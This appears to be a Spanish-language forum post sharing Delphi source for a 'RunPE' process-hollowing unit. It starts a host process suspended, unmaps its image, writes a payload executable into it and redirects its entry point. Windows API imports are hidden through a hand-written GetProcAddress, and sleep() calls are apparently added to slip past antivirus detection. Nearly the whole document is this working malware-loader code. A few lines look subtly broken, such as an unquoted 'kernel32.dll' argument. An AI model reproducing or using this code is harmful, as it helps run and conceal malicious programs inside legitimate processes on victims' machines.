Begin
HandleKernel32 := MyLoadLibrary('kernel32.dll');
HandleNtdll := MyLoadLibrary('ntdll.dll');
@CreatePro := MyGetProcAddress(HandleKernel32, pchar('CreateProcessA'));
@ZwUnmapViewOf := MyGetProcAddress(HandleNtdll, pchar('ZwUnmapViewOfSection'));
@ReadProces := MyGetProcAddress(HandleKernel32, pchar('ReadProcessMemory'));
@GetThreadCo := MyGetProcAddress(HandleKernel32, pchar('GetThreadContext'));
@VirtualAlloc := MyGetProcAddress(HandleKernel32, pchar('VirtualAllocEx'));

despues de agregar 4 sleeps
Begin
HandleKernel32 := MyLoadLibrary('kernel32.dll');
HandleNtdll := MyLoadLibrary('ntdll.dll');
@CreatePro := MyGetProcAddress(HandleKernel32, pchar('CreateProcessA'));
sleep(100);
@ZwUnmapViewOf := MyGetProcAddress(HandleNtdll, pchar('ZwUnmapViewOfSection'));
sleep(100);
@ReadProces := MyGetProcAddress(HandleKernel32, pchar('ReadProcessMemory'));
sleep(100);
@GetThreadCo := MyGetProcAddress(HandleKernel32, pchar('GetThreadContext'));
sleep(100);
@VirtualAlloc := MyGetProcAddress(HandleKernel32, pchar('VirtualAllocEx'));
@VirtualProtect := MyGetProcAddress(HandleKernel32, pchar('VirtualProtectEx'));
@WriteProces := MyGetProcAddress(HandleKernel32, pchar('WriteProcessMemory'));
@SetThreadCo := MyGetProcAddress(HandleKernel32, pchar('SetThreadContext'));

el runpe usado es este
unit ME;
interface
Function MemoryExecute(Buffer: Pointer; ProcessName, Parameters: String; Visible: Boolean): Boolean;
implementation
uses
Windows;
type
HANDLE = THandle;
PVOID = Pointer;
LPVOID = Pointer;
SIZE_T = Cardinal;
ULONG_PTR = Cardinal;
NTSTATUS = LongInt;
LONG_PTR = Integer;
PImageSectionHeaders = ^TImageSectionHeaders;
TImageSectionHeaders = Array [0..95] Of TImageSectionHeader;
THideVirtualAllocEx = Function(hProcess: HANDLE; lpAddress: LPVOID; dwSize: SIZE_T; flAllocationType: DWORD; flProtect: DWORD): LPVOID; stdcall;
THideVirtualProtectEx = Function(hProcess: HANDLE; lpAddress: LPVOID; dwSize: SIZE_T; flNewProtect: DWORD; var lpflOldProtect: DWORD): BOOL; stdcall;
THideZwUnmapViewOfSection = Function(ProcessHandle: HANDLE; BaseAddress: PVOID): NTSTATUS; stdcall;
THideCreateProcess = function(lpApplicationName: PChar; lpCommandLine: PChar;lpProcessAttributes, lpThreadAttributes: PSecurityAttributes;bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer;lpCurrentDirectory: PChar; const lpStartupInfo: TStartupInfo;var lpProcessInformation: TProcessInformation): BOOL; stdcall;
THideReadProcessMemory = function(hProcess: THandle; const lpBaseAddress: Pointer; lpBuffer: Pointer;nSize: DWORD; var lpNumberOfBytesRead: DWORD): BOOL; stdcall;
THideWriteProcessMemory = function(hProcess: THandle; const lpBaseAddress: Pointer; lpBuffer: Pointer;nSize: DWORD; var lpNumberOfBytesWritten: DWORD): BOOL; stdcall;
THideGetThreadContext = function(hThread: THandle; var lpContext: TContext): BOOL; stdcall;
THideSetThreadContext = function(hThread: THandle; const lpContext: TContext): BOOL; stdcall;
THideResumeThread = function(hThread: THandle): DWORD; stdcall;
THideTerminateProcess = function(hProcess: THandle; uExitCode: UINT): BOOL; stdcall;
THideFreeLibrary = function(hLibModule: HMODULE): BOOL; stdcall;
function MyGetProcAddress(hModule: HMODULE; lpProcName: LPCSTR): FARPROC;
var
DataDirectory: TImageDataDirectory;
lpExports, lpExport: PImageExportDirectory;
i: Cardinal;
Ordinal: Word;
dwRVA: ^Cardinal;
begin
Result := nil;
DataDirectory := PImageNtHeaders(Cardinal(hModule) + Cardinal(PImageDosHeader(hModule)^._lfanew))^.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
lpExports := Pointer(hModule + DataDirectory.VirtualAddress);
for i := 0 to lpExports.NumberOfNames -1 do
begin
lpExport := PImageExportDirectory(hModule + DWORD(lpExports.AddressOfNames) + i * sizeof(DWORD));
if lstrcmp(lpProcName, PChar(hModule + lpExport.Name)) = 0 then
begin
Ordinal := PWord(hModule + DWORD(lpExports.AddressOfNameOrdinals) + i * sizeof(Word))^;
Inc(Ordinal, 3);
dwRva := Pointer(hModule + DWORD(lpExports.AddressOfFunctions) + Ordinal * sizeof(DWORD));
Result := Pointer(hModule + dwRVA^);
Break;
end;
end;
end;
function MyLoadLibrary(lpLibFileName: PAnsiChar): HMODULE;
var
xLoadLibrary: function(lpLibFileName: PAnsiChar): HMODULE; stdcall;
begin
xLoadLibrary := MyGetProcAddress(GetModuleHandle(kernel32), PChar('LoadLibraryA'));
Result := xLoadLibrary(lpLibFilename);
end;
Function ImageFirstSection(NTHeader: PImageNTHeaders): PImageSectionHeader;
Begin
Result := PImageSectionheader( ULONG_PTR(@NTheader.OptionalHeader) +
NTHeader.FileHeader.SizeOfOptionalHeader);
End;
Function Protect(Characteristics: ULONG): ULONG;
Const
Mapping :Array[0..7] Of ULONG = (
PAGE_NOACCESS,
PAGE_EXECUTE,
PAGE_READONLY,
PAGE_EXECUTE_READ,
PAGE_READWRITE,
PAGE_EXECUTE_READWRITE,
PAGE_READWRITE,
PAGE_EXECUTE_READWRITE );
Begin
Result := Mapping[ Characteristics SHR 29 ];
End;
(*****************************************
MemoryExecute() Function
Loads a choosen application into the
memory of another application, with
or without choosen parameters. Can
also load file visible.
****************************************)
Function MemoryExecute(Buffer: Pointer; ProcessName, Parameters: String; Visible: Boolean): Boolean;
Var
ProcessInfo :TProcessInformation;
StartupInfo :TStartupInfo;
Context :TContext;
BaseAddress :Pointer;
BytesRead :DWORD;
BytesWritten :DWORD;
I :ULONG;
OldProtect :ULONG;
NTHeaders :PImageNTHeaders;
Success :Boolean;
VirtualAlloc :THideVirtualAllocEx ;
VirtualProtect :THideVirtualProtectEx ;
ZwUnmapViewOf :THideZwUnmapViewOfSection ;
CreatePro :THideCreateProcess;
ReadProces :THideReadProcessMemory;
WriteProces :THideWriteProcessMemory;
GetThreadCo :THideGetThreadContext;
SetThreadCo :THideSetThreadContext;
ResumeThrea :THideResumeThread;
TerminatePro :THideTerminateProcess;
FreeLib :THideFreeLibrary;
HandleKernel32 :THandle;
HandleNtdll :THandle;
Begin
HandleKernel32 := MyLoadLibrary(kernel32.dll);//uuuuuuuu ''
HandleNtdll := MyLoadLibrary(ntdll.dll);///uuuuu
@CreatePro := MyGetProcAddress(HandleKernel32, pchar('CreateProcessA'));
@ZwUnmapViewOf := MyGetProcAddress(HandleNtdll, pchar('ZwUnmapViewOfSection'));
@ReadProces := MyGetProcAddress(HandleKernel32, pchar('ReadProcessMemory'));
@GetThreadCo := MyGetProcAddress(HandleKernel32, pchar('GetThreadContext'));
@VirtualAlloc := MyGetProcAddress(HandleKernel32, pchar('VirtualAllocEx'));
@VirtualProtect := MyGetProcAddress(HandleKernel32, pchar('VirtualProtectEx'));
@WriteProces := MyGetProcAddress(HandleKernel32, pchar('WriteProcessMemory'));
@SetThreadCo := MyGetProcAddress(HandleKernel32, pchar('SetThreadContext'));
@ResumeThrea := MyGetProcAddress(HandleKernel32, pchar('ResumeThread'));
@TerminatePro := MyGetProcAddress(HandleKernel32, pchar('TerminateProcess'));
@FreeLib := MyGetProcAddress(HandleKernel32, pchar('FreeLibrary'));
FreeLib(HandleKernel32);
FreeLib(HandleNtdll);
Result := False;
FillChar(ProcessInfo, SizeOf(TProcessInformation), 0);
FillChar(StartupInfo, SizeOf(TStartupInfo), 0);
StartupInfo.cb := SizeOf(TStartupInfo);
StartupInfo.wShowWindow := Word(Visible);
If (CreatePro(PChar(ProcessName), PChar(Parameters), NIL, NIL,
False, CREATE_SUSPENDED, NIL, NIL, StartupInfo, ProcessInfo)) Then
Begin
Success := True;
Try
NTHeaders := PImageNTHeaders(Cardinal(Buffer) + Cardinal(PImageDosHeader(Buffer)._lfanew));
Context.ContextFlags := CONTEXT_INTEGER;
If (GetThreadCo(ProcessInfo.hThread, Context) And
(ReadProces(ProcessInfo.hProcess, Pointer(Context.Ebx + 8),
@BaseAddress, SizeOf(BaseAddress), BytesRead)) And
(ZwUnmapViewOf(ProcessInfo.hProcess, BaseAddress) >= 0) And
(Assigned(Buffer))) Then
Begin
BaseAddress := VirtualAlloc(ProcessInfo.hProcess,
Pointer(NTHeaders.OptionalHeader.ImageBase),
NTHeaders.OptionalHeader.SizeOfImage,
MEM_RESERVE or MEM_COMMIT,
PAGE_READWRITE);
If (Assigned(BaseAddress)) And
(WriteProces(ProcessInfo.hProcess, BaseAddress, Buffer,
NTHeaders.OptionalHeader.SizeOfHeaders,
BytesWritten)) Then
Begin
For I := 0 To NTHeaders.FileHeader.NumberOfSections -1 Do
If (WriteProces(ProcessInfo.hProcess,
Pointer(Cardinal(BaseAddress) +
PImageSectionHeaders(ImageFirstSection(NTHeaders))[I].VirtualAddress),
Pointer(Cardinal(Buffer) +
PImageSectionHeaders(ImageFirstSection(NTHeaders))[I].PointerToRawData),
PImageSectionHeaders(ImageFirstSection(NTHeaders))[I].SizeOfRawData, BytesWritten)) Then
VirtualProtect(ProcessInfo.hProcess,
Pointer(Cardinal(BaseAddress) +
PImageSectionHeaders(ImageFirstSection(NTHeaders))[I].VirtualAddress),
PImageSectionHeaders(ImageFirstSection(NTHeaders))[I].Misc.VirtualSize,
Protect(PImageSectionHeaders(ImageFirstSection(NTHeaders))[I].Characteristics),
OldProtect);
If (WriteProces(ProcessInfo.hProcess,
Pointer(Context.Ebx + 8), @BaseAddress,
SizeOf(BaseAddress), BytesWritten)) Then
Begin
Context.Eax := ULONG(BaseAddress) +
NTHeaders.OptionalHeader.AddressOfEntryPoint;
Success := SetThreadCo(ProcessInfo.hThread, Context);
End;
End;
End;
Finally
If (Not Success) Then
TerminatePro(ProcessInfo.hProcess, 0)
Else
ResumeThrea(ProcessInfo.hThread);
Result := Success;
End;
End;
End;
end.